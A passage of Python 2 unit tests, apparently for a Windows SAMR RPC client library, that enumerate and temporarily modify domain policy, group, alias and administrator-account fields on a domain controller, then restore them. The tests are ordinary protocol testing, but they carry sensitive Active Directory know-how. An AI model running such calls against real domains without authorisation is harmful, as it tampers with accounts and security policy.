request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2
#request.dump()
resp = dce.request(request)
resp.dump()
def test_SamrQueryInformationDomain2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationDomain2()
request['DomainHandle'] = domainHandle
request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2
#request.dump()
resp = dce.request(request)
resp.dump()
def test_hSamrQueryInformationDomain2(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2)
resp.dump()
def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self):
dce, rpctransport, domainHandle = self.connect()
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
resp.dump()
resp['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 11
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
resp.dump()
resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
resp2.dump()
self.assertTrue( 11 == resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'] )
resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 0
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation)
resp.dump()
resp['Buffer']['General']['ReplicaSourceNodeName'] = 'BETUS'
try:
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
################################################################################
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
resp.dump()
oldData = resp['Buffer']['Logoff']['ForceLogoff']['LowPart']
resp['Buffer']['Logoff']['ForceLogoff']['LowPart'] = 11
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
resp.dump()
resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
resp2.dump()
self.assertTrue( 11 == resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'] )
resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'] = oldData
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)
resp.dump()
oldData = resp['Buffer']['Oem']['OemInformation']
resp['Buffer']['Oem']['OemInformation'] = 'BETUS'
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
resp.dump()
resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)
resp2.dump()
self.assertTrue( 'BETUS' == resp2['Buffer']['Oem']['OemInformation'])
resp2['Buffer']['Oem']['OemInformation'] = oldData
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)
resp.dump()
oldData = resp['Buffer']['Replication']['ReplicaSourceNodeName']
resp['Buffer']['Replication']['ReplicaSourceNodeName'] = 'BETUS'
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])
resp.dump()
resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)
resp2.dump()
self.assertTrue( 'BETUS' == resp2['Buffer']['Replication']['ReplicaSourceNodeName'])
resp2['Buffer']['Replication']['ReplicaSourceNodeName'] = oldData
resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])
resp.dump()
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2)
resp.dump()
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
resp.dump()
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2)
resp.dump()
def test_SamrQueryInformationGroup_SamrSetInformationGroup(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenGroup()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = samr.GROUP_ALL_ACCESS
request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
try:
resp0 = dce.request(request)
resp0.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
request = samr.SamrQueryInformationGroup()
request['GroupHandle'] = resp0['GroupHandle']
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['Name']['Name']
req = samr.SamrSetInformationGroup()
req['GroupHandle'] = resp0['GroupHandle']
req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
req['Buffer']['Name']['Name'] = 'BETUS'
resp = dce.request(req)
resp.dump()
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name'])
req['Buffer']['Name']['Name'] = oldData
resp = dce.request(req)
resp.dump()
################################################################################
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['Attribute']['Attributes']
req = samr.SamrSetInformationGroup()
req['GroupHandle'] = resp0['GroupHandle']
req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
req['Buffer']['Attribute']['Attributes'] = 2
resp = dce.request(req)
resp.dump()
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation
#request.dump()
resp = dce.request(request)
resp.dump()
#self.assertTrue( 2 == resp['Buffer']['Attribute']['Attributes'])
req['Buffer']['Attribute']['Attributes'] = oldData
resp = dce.request(req)
resp.dump()
################################################################################
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['AdminComment']['AdminComment']
req = samr.SamrSetInformationGroup()
req['GroupHandle'] = resp0['GroupHandle']
req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
req['Buffer']['AdminComment']['AdminComment'] = 'BETUS'
resp = dce.request(req)
resp.dump()
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation
#request.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['AdminComment']['AdminComment'])
req['Buffer']['AdminComment']['AdminComment'] = oldData
resp = dce.request(req)
resp.dump()
################################################################################
request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupReplicationInformation
#request.dump()
resp = dce.request(request)
resp.dump()
def test_hSamrQueryInformationGroup_hSamrSetInformationGroup(self):
dce, rpctransport, domainHandle = self.connect()
try:
resp0 = samr.hSamrOpenGroup(dce, domainHandle,samr.GROUP_ALL_ACCESS, samr.DOMAIN_GROUP_RID_USERS )
resp0.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupNameInformation)
resp.dump()
oldData = resp['Buffer']['Name']['Name']
req = samr.SAMPR_GROUP_INFO_BUFFER()
req['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
req['Name']['Name'] = 'BETUS'
resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req)
resp.dump()
resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupNameInformation)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name'])
req['Name']['Name'] = oldData
resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req)
resp.dump()
def test_hSamrQueryInformationAlias_hSamrSetInformationAlias(self):
dce, rpctransport, domainHandle = self.connect()
resp4 = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
resp4.dump()
resp0 = samr.hSamrOpenAlias(dce, domainHandle, aliasId = resp4['Buffer']['Buffer'][0]['RelativeId'])
resp0.dump()
resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation)
resp.dump()
oldData = resp['Buffer']['Name']['Name']
req = samr.SAMPR_ALIAS_INFO_BUFFER()
req['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
req['Name']['Name'] = 'BETUS'
resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req)
resp.dump()
resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name'])
req['Name']['Name'] = oldData
resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req)
resp.dump()
def test_SamrQueryInformationAlias_SamrSetInformationAlias(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrEnumerateAliasesInDomain()
request['DomainHandle'] = domainHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 500
status = nt_errors.STATUS_MORE_ENTRIES
while status == nt_errors.STATUS_MORE_ENTRIES:
try:
resp4 = dce.request(request)
except Exception, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp4 = e.get_packet()
resp4['Buffer'].dump()
request['EnumerationContext'] = resp4['EnumerationContext']
status = resp4['ErrorCode']
resp4.dump()
request = samr.SamrOpenAlias()
request['DomainHandle'] = domainHandle
request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']
resp0 = dce.request(request)
resp0.dump()
request = samr.SamrQueryInformationAlias()
request['AliasHandle'] = resp0['AliasHandle']
request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['Name']['Name']
req = samr.SamrSetInformationAlias()
req['AliasHandle'] = resp0['AliasHandle']
req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
req['Buffer']['Name']['Name'] = 'BETUS'
resp = dce.request(req)
resp.dump()
request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['Name']['Name'])
req['Buffer']['Name']['Name'] = oldData
resp = dce.request(req)
resp.dump()
################################################################################
request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['AdminComment']['AdminComment']
req = samr.SamrSetInformationAlias()
req['AliasHandle'] = resp0['AliasHandle']
req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
req['Buffer']['AdminComment']['AdminComment'] = 'BETUS'
resp = dce.request(req)
resp.dump()
request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
#request.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['AdminComment']['AdminComment'])
req['Buffer']['AdminComment']['AdminComment'] = oldData
resp = dce.request(req)
resp.dump()
def test_SamrQueryInformationUser2_SamrSetInformationUser2(self):
dce, rpctransport, domainHandle = self.connect()
request = samr.SamrOpenUser()
request['DomainHandle'] = domainHandle
#request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ | samr.USER_READ_LOGON
request['DesiredAccess'] = \
samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \
| samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE \
| samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS \
| samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE
request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
resp = dce.request(request)
resp.dump()
request = samr.SamrQueryInformationUser2()
request['UserHandle'] = resp['UserHandle']
userHandle = resp['UserHandle']
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['Preferences']['UserComment']
req = samr.SamrSetInformationUser2()
req['UserHandle'] = userHandle
req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
req['Buffer'] = resp['Buffer']
req['Buffer']['Preferences']['UserComment'] = 'BETO'
resp = dce.request(req)
resp.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETO' == resp['Buffer']['Preferences']['UserComment'])
req['Buffer']['Preferences']['UserComment'] = oldData
resp = dce.request(req)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonHoursInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['Name']['FullName']
req = samr.SamrSetInformationUser2()
req['UserHandle'] = userHandle
req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation
req['Buffer'] = resp['Buffer']
req['Buffer']['Name']['FullName'] = 'BETO'
resp = dce.request(req)
resp.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETO' == resp['Buffer']['Name']['FullName'])
req['Buffer']['Name']['FullName'] = oldData
resp = dce.request(req)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
oldData = resp['Buffer']['AccountName']['UserName']
req = samr.SamrSetInformationUser2()
req['UserHandle'] = userHandle
req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
req['Buffer'] = resp['Buffer']
req['Buffer']['AccountName']['UserName'] = 'BETUS'
resp = dce.request(req)
resp.dump()
resp = dce.request(request)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['AccountName']['UserName'])
req['Buffer']['AccountName']['UserName'] = oldData
resp = dce.request(req)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserFullNameInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserHomeInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserScriptInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserProfileInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAdminCommentInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserWorkStationsInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserControlInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserExpiresInformation
#request.dump()
resp = dce.request(request)
resp.dump()
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal1Information
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserParametersInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAllInformation
#request.dump()
resp = dce.request(request)
resp.dump()
################################################################################
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4Information
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5Information
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4InformationNew
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5InformationNew
#request.dump()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_INFO_CLASS') < 0:
raise
pass
def test_hSamrQueryInformationUser2_hSamrSetInformationUser2(self):
dce, rpctransport, domainHandle = self.connect()
desiredAccess = \
samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \
| samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE \
| samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS \
| samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE
resp = samr.hSamrOpenUser(dce, domainHandle, desiredAccess, samr.DOMAIN_USER_RID_ADMIN )
resp.dump()
userHandle = resp['UserHandle']
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserGeneralInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserPreferencesInformation)
resp.dump()
oldData = resp['Buffer']['Preferences']['UserComment']
resp['Buffer']['Preferences']['UserComment'] = 'BETO'
resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserPreferencesInformation)
resp.dump()
self.assertTrue( 'BETO' == resp['Buffer']['Preferences']['UserComment'])
resp['Buffer']['Preferences']['UserComment'] = oldData
resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserLogonInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserLogonHoursInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAccountInformation)
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserNameInformation)
resp.dump()
oldData = resp['Buffer']['Name']['FullName']
resp['Buffer']['Name']['FullName'] = 'BETO'
resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserNameInformation)
resp.dump()
self.assertTrue( 'BETO' == resp['Buffer']['Name']['FullName'])
resp['Buffer']['Name']['FullName'] = oldData
resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
resp.dump()
################################################################################
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAccountNameInformation)
resp.dump()
oldData = resp['Buffer']['AccountName']['UserName']
resp['Buffer']['AccountName']['UserName'] = 'BETUS'
resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAccountNameInformation)
resp.dump()
self.assertTrue( 'BETUS' == resp['Buffer']['AccountName']['UserName'])
resp['Buffer']['AccountName']['UserName'] = oldData
resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserFullNameInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserHomeInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserScriptInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserProfileInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserAdminCommentInformation)
resp.dump()
resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserWorkStationsInformation)
resp.dump()
